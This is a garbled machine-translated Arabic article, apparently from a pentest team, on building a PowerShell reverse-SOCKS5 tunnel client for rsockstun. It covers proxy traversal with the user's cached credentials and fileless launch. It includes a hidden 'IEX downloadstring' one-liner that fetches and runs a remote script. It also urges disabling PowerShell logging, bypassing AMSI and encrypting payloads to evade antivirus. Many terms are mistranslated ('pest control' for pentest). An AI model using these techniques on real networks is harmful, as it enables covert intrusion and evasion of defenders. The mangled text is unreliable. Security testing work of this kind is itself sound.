نكتب عكس الجوارب 5 على بوويرشيل الجزء 3

قصة البحث والتطوير في 3 أجزاء. الجزء 3 عملي.
هناك العديد من الزان - المزيد من الفوائد

يمكن الاطلاع على المقالات السابقة من الدورة هنا وهنا =)

تحقق المعركة


دعونا الآن اختبار تشغيل السيناريو لدينا في الممارسة العملية. للقيام بذلك ، حاول رمي النفق العكسي من الجهاز الظاهري (Windows 7 .net 4.7) إلى Linux VPS على المحيط الرقمي ، وبعد ذلك ، سنعود إلى Win7. في هذه الحالة ، نقوم بمحاكاة موقف يكون فيه Windows 7 هو جهاز العميل ، و Linux VPS هو خادمنا.

على VPS (في حالتنا Ubuntu 18.04) ، نقوم بتثبيت وتكوين جزء الخادم من RsocksTun:

  • ضبط golang: apt install golang
  • خذ مصادر rsockstun من غيتا:
    git clone github.com/mis-team/rsockstun.git / opt / rstun
  • تثبيت التبعيات:
    اذهب واحصل على github.com/hashicorp/yamux
    اذهب للحصول على github.com/armon/go-socks5
    اذهب واحصل على github.com/ThomsonReutersEikon/go-ntlm/ntlm
  • ترجمة وفقا لدليل: cd / opt / rstun ؛ اذهب بناء
  • توليد شهادة SSL:
    openssl req-new -x509 -keyout server.key -out server.crt-days 365 -nodes
  • نبدأ جزء الخادم:



  • نبدأ البرنامج النصي الخاص بنا على العميل ، مع الإشارة إلى أن الخادم سيقوم بالاتصال والمنفذ وكلمة المرور:



  • استخدام منفذ أثار خادم Socks5 للذهاب إلى mail.ru



كما ترون من لقطات ، يعمل البرنامج النصي لدينا. كنا سعداء ، نصب عقليا نصب تذكاري لأنفسنا وقرر أن كل شيء كان مثاليا. لكن ...

خطأ في التعامل


ولكن ليس كل شيء سلس كما نود ...

أثناء تشغيل البرنامج النصي ، تم اكتشاف إحدى اللحظات غير السارة: إذا كان البرنامج النصي يعمل من خلال اتصال غير سريع للغاية بالخادم ، فقد يحدث الخطأ الموضح في الشكل أدناه عند نقل البيانات الكبيرة



بعد دراستنا لهذا الخطأ ، نرى أنه عندما نتلقى رسالة keepalive (بينما لا تزال البيانات تُرسل إلى الخادم) ، فإننا نحاول كتابة رد في وقت واحد على keepalive على المقبس ، والذي يتسبب في حدوث خطأ.

لتصحيح الموقف ، نحتاج إلى الانتظار حتى اكتمال نقل البيانات ، ثم إرسال استجابة إلى keepalive. ولكن قد تنشأ مشكلة أخرى هنا: إذا وصلت رسالة keepalive في الوقت الحالي بين إرسال رأس 12 بايت وإرسال البيانات ، فسوف ندمر بنية الحزمة ymx. لذلك ، سيكون الحل الأكثر دقة هو نقل جميع وظائف إرسال البيانات داخل yamuxScript ، والتي تعالج أحداث إرسالها بالتتابع ولن تكون هناك مثل هذه المواقف.

في الوقت نفسه ، لتوجيه yamuxScript لإرسال استجابات keepalive ، يمكننا استخدام ArrayList StopFlag المشترك [0] - لا يتم استخدام فهرس الصفر ، لأن يبدأ ترقيم تدفقات yamux بـ 1. في هذا الفهرس ، سنقوم بتمرير قيمة ping المستلمة في رسالة keepal في yamuxScript. بشكل افتراضي ، ستكون القيمة -1 ، مما يعني عدم الحاجة إلى إرسال. سيقوم YamuxScript بالتحقق من هذه القيمة ، وإذا كان 0 (أول اختبار pal keepalive = 0) أو أكثر ، فقم بإرسال القيمة التي تم تمريرها إلى استجابة keepalive:

if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 } 

يجب أن نستبعد أيضًا إرسال استجابة في علامة YMX SYN في السلسلة الرئيسية للبرنامج.

للقيام بذلك ، يجب علينا أيضًا نقل هذه الوظيفة داخل yamuxScript ، ولكن نظرًا لأن خادم yamux لا يتطلب إرسال استجابة إلى YMX SYN ويبدأ فورًا في إرسال البيانات ، فإننا نوقف إرسال هذه الحزمة وهذا هو:

 #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12) 

بعد ذلك ، نقل أجزاء كبيرة من البيانات يعمل بشكل جيد.

دعم الوكيل


الآن دعونا نفكر في الطريقة التي يمكننا بها حث عملائنا على العمل من خلال خادم وكيل.

لنبدأ بالأساسيات. من الناحية النظرية ، تم تصميم وكيل http (أي عمل بروكسيات http في معظم شبكات الشركات) للعمل مع بروتوكول HTTP ، ويبدو أن http لا يشبه الرائحة التي نستخدمها. ولكن في الطبيعة ، بالإضافة إلى http ، يوجد أيضًا https ويمكن للمتصفح الخاص بك الاتصال بمواقع https بشكل مثالي عبر http - صحيح؟

السبب في ذلك هو وضع تشغيل الخادم الوكيل الخاص - وضع الاتصال. وبالتالي ، إذا أراد المستعرض الاتصال بخادم gmail عبر https عبر خادم وكيل ، فإنه يرسل طلب اتصال إلى الخادم الوكيل ، مما يشير إلى منفذ المضيف والوجهة.

 CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive 

بعد اتصال ناجح بخادم gmail ، يعرض الوكيل استجابة 200 موافق.

 HTTP/1.1 200 OK 

بعد ذلك ، يتم نقل جميع البيانات من المتصفح مباشرة إلى الخادم والعكس. بعبارات بسيطة ، يربط الوكيل مباشرة مآخذ توصيل الشبكة ببعضهما البعض - مقبس المتصفح ومقبس خادم gmail. بعد ذلك ، يبدأ المتصفح في إنشاء اتصال ssl بخادم gmail والعمل معه مباشرة.

نقل ما ورد أعلاه إلى عميلنا ، نحتاج أولاً إلى إنشاء اتصال بالخادم الوكيل ، وإرسال حزمة http تشير إلى طريقة الاتصال وعنوان خادم yamux ، وانتظر الرد برمز 200 ، ثم تابع تأسيس اتصال ssl.

من حيث المبدأ ، لا يوجد شيء معقد للغاية. هذه هي الطريقة التي يتم بها تنفيذ آلية الاتصال من خلال الخادم الوكيل في عميل golang rsockstun.

تبدأ الصعوبات الرئيسية عندما يتطلب الخادم الوكيل تفويض ntlm أو kerberos عند الاتصال بنفسه.

في هذه الحالة ، يعرض الخادم الوكيل رمز 407 ورأس http ntlm كسلسلة base64

 HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0 

للحصول على ترخيص ناجح ، يجب علينا فك تشفير هذا السطر ، وإزالة المعلمات منه (مثل ntlm-challenge ، اسم المجال). ثم ، باستخدام هذه البيانات ، بالإضافة إلى اسم المستخدم وتجزئة ntlm الخاصة به ، يجب علينا إنشاء استجابة ntlm وإعادة تشفيرها إلى base64 وإرسالها مرة أخرى إلى الخادم الوكيل.

 CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive + UpsHCJmpIGttOj1VN + 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive 

ولكن هذا ليس سيئا للغاية. الحقيقة هي أنه عندما نقوم بتشغيل البرنامج النصي ، فإننا لا نعرف إما اسم المستخدم الحالي أو كلمة مرور ntlm له. وبالتالي ، للحصول على إذن على الخادم الوكيل ، نحتاج إلى معرفة اسم المستخدم / المرور من مكان آخر.

من الناحية النظرية ، يمكننا تطبيق هذه الوظيفة في برنامج نصي (بدءًا من إعداد معلمات المصادقة يدويًا ، كما هو الحال في عميل GoLang ، وننتهي باستخدام تفريغ ذاكرة عملية LSASS ، كما هو الحال في mimikatz) ، ولكن بعد ذلك سينمو البرنامج النصي لدينا إلى حجم وتعقيد لا يصدق ، لا سيما أن هذه المواضيع خارج نطاق هذا المقال.

فكرنا وقررنا أننا سنذهب في الاتجاه الآخر ...

بدلاً من إجراء التفويض يدويًا ، سوف نستخدم الوظيفة المدمجة للعمل مع خادم وكيل للفئة HTTPWebRequest. ولكن في هذه الحالة ، سيتعين علينا تغيير رمز خادم RsocksTun الخاص بنا - بعد كل شيء ، عندما يتلقى طلبًا من العميل ، فإنه لا يتوقع سوى سطر بكلمة مرور ، وسيتلقى طلب HTTP كاملاً. من حيث المبدأ ، تعديل جانب خادم rsoskstun ليس بالأمر الصعب. من الضروري فقط تحديد أي جزء من طلب http الذي سنرسل إليه كلمة المرور (على سبيل المثال ، سيكون رأس HTTP XAuth) وتنفيذ وظيفة معالجة طلب http ، والتحقق من رأسنا بكلمة مرور وإرسال استجابة HTTP مرتجعة (200 موافق). أضفنا هذه الوظيفة إلى فرع منفصل من مشروع RSocksTun.

بعد تعديل جزء Golang من RSocksTun (الخادم والعميل) ، سنبدأ في إضافة وظيفة العمل مع خادم وكيل إلى البرنامج النصي الخاص بنا. أبسط رمز لفئة HttpWebRequest للاتصال بخادم الويب من خلال وكيل يبدو كما يلي:

 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit} 

في هذه الحالة ، نقوم بإنشاء مثيل لفئة HttpWebRequest ، وضبط خصائص الوكيل وبيانات الاعتماد ، وإضافة رأس HTTP XAuth المخصص. وفقًا لذلك ، سوف يمر طلبنا على خوادم Google عبر الخادم الوكيل 127.0.0.1:8080. إذا طلب الوكيل الحصول على إذن ، فسيقوم Windows نفسه "بالتقاط" أرصدة المستخدم الحالي وإدراج رؤوس http المتوافقة.

بدلاً من تحديد خادم وكيل يدويًا ، يمكننا استخدام إعدادات نظام الخادم الوكيل:

 $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 

لذلك ، بعد أن وصلنا عبر خادم وكيل بخادم rsockstun الخاص بنا وتلقينا استجابة HTTP بالكود 200 ، نحتاج إلى القيام ببعض الحيل ، أي من فئة HTTPWebRequest ، الحصول على كائن دفق للقراءة / الكتابة مثل $ tcpConnection.getStream (). نقوم بذلك من خلال آلية فحص انعكاس صافي. (لأولئك الذين يرغبون في فهم هذه الآلية بمزيد من التفاصيل ، قم بمشاركة الرابط ). هذا يتيح لنا الوصول إلى أساليب وخصائص الفئات الأساسية:

 #--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null) 

وبالتالي ، حصلنا على نفس تيار المقبس ، والذي يتصل به الخادم الوكيل بخادم yamux والذي يمكننا من خلاله إجراء عمليات القراءة / الكتابة.

هناك نقطة أخرى نحتاج إلى مراعاتها وهي آلية مراقبة حالة الاتصال. نظرًا لأننا نعمل من خلال الخادم الوكيل وفئة HTTPWebRequest ، فليس لدينا خاصية $ tcpConnection.Connected ونحن بحاجة إلى مراقبة حالة الاتصال بطريقة ما. يمكننا القيام بذلك من خلال علامة $ متصلة منفصلة ، يتم ضبطه على $ true بعد تلقي الرمز 200 من الخادم الوكيل ويتم إعادة تعيينه إلى $ false عندما يحدث استثناء أثناء القراءة من دفق مأخذ التوصيل:

 try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;} 

خلاف ذلك ، يبقى رمزنا دون تغيير.

مضمنة الاطلاق


كقاعدة عامة ، يقوم جميع الأشخاص العاقلين بتشغيل برامج نصية مماثلة من ملفات PS1 ، ولكن في بعض الأحيان (وفي الواقع - دائمًا تقريبا) في عملية pentest / redtime ، يلزم تشغيل الوحدات النمطية من سطر الأوامر دون كتابة أي شيء على القرص ، حتى لا تترك أي آثار . علاوة على ذلك ، يتيح لك بوويرشيل القيام بذلك من خلال سطر الأوامر:

 powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code> 

ومع ذلك ، لا ينبغي للمرء الاسترخاء حقًا فيما يتعلق بسرية بدء وتنفيذ الأوامر. لأنه ، أولاً ، يتم تسجيل جميع رموز powerhell باستخدام أدوات windows القياسية في سجلات الأحداث المقابلة (Windows PowerShell و Microsoft-Windows-PowerShell / Operational) ، وثانياً ، كل التعليمات البرمجية المنفذة داخل powerhell تمر عبر آلية AMSI ( مكافحة البرامج الضارة واجهة المسح الضوئي). شيء آخر هو أن كلا هاتين الآليتين مكلفتان للغاية من خلال إجراءات غير معقدة. يعد تعطيل المجلات وتجاوز AMSI موضوعًا منفصلًا للمناقشة وسنكتب عنه في مقالات مستقبلية أو في قناتنا. ولكن الآن قليلا عن شيء آخر.

والحقيقة هي أن البرنامج النصي لدينا قد نما إلى أحجام رائعة للغاية ، ومن الواضح أنه لن يتلاءم مع أي سطر أوامر (الحد cmd في Windows هو 8191 حرفًا). لذلك ، نحتاج إلى التوصل إلى طريقة لتشغيل البرنامج النصي لدينا دون كتابته على القرص. وهنا الأساليب القياسية التي تستخدمها البرمجيات الخبيثة تساعدنا منذ حوالي 15 عامًا. باختصار ، القاعدة بسيطة - التنزيل والتشغيل. الشيء الرئيسي هو عدم مزجها =)
يبدو الأمر download and launch كما يلي:

 powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))" 

يمكنك العثور على المزيد من خيارات الإطلاق المضمّنة في HarmJ0y 'I git :

بالطبع ، قبل التنزيل تحتاج إلى العناية بتعطيل السجلات وتجاوز أو تعطيل AMSI. يجب تشفير البرنامج النصي نفسه قبل التنزيل ، لأن أثناء عملية التنزيل ، من الطبيعي أن يتم فحصها صعودًا وهبوطًا بواسطة برنامج مكافحة الفيروسات (أو ليس لديك =)) ، وقبل بدء تشغيله سيتم فك تشفيره وفقًا لذلك. كيفية القيام بذلك - أنت ، يجب أن يتوصل القارئ بالفعل إلى ذلك بنفسك. هذا هو خارج نطاق هذا الموضوع. لكننا نعرف متخصصًا رائعًا في هذا الأمر - Google العظيم. هناك الكثير من الأمثلة على التشفير وفك التشفير على الشبكة ، بالإضافة إلى أمثلة لتجاوز AMSI.

خاتمة لجميع الأجزاء


في هذه العملية ، قدمنا ​​للقارئ تقنية "الأنفاق العكسية" واستخدامها في مكافحة الآفات ، وأظهرنا عدة أمثلة على هذه الأنفاق وتحدثنا عن إيجابيات وسلبيات استخدامها.

تمكنا أيضًا من إنشاء عميل بوويرشيل لخادم RsocksTun مع القدرة على:

  • اتصالات SSL
  • إذن على الخادم ؛
  • العمل مع خادم yamux بدعم لأصوات keepalive ؛
  • وضع متعدد الخيوط للعملية ؛
  • دعم العمل من خلال خادم وكيل مع إذن.

يمكنك العثور على كل رمز rsockstun (golang و powershell) في الفرع المقابل على github لدينا. تم تصميم الفرع الرئيسي للعمل بدون خادم وكيل ، وقد تم تصميم فرع via_proxy للعمل من خلال الوكلاء و HTTP.

سنكون سعداء لسماع تعليقاتكم واقتراحاتكم حول تحسين الكود وإمكانية تطبيق التطوير في الممارسة.

هذا يكمل دورة مقالاتنا عن الأنفاق العكسية. نأمل حقًا أن تكون مهتمًا بقراءتنا والمعلومات مفيدة.

Source: https://habr.com/ru/post/ar454254/


All Articles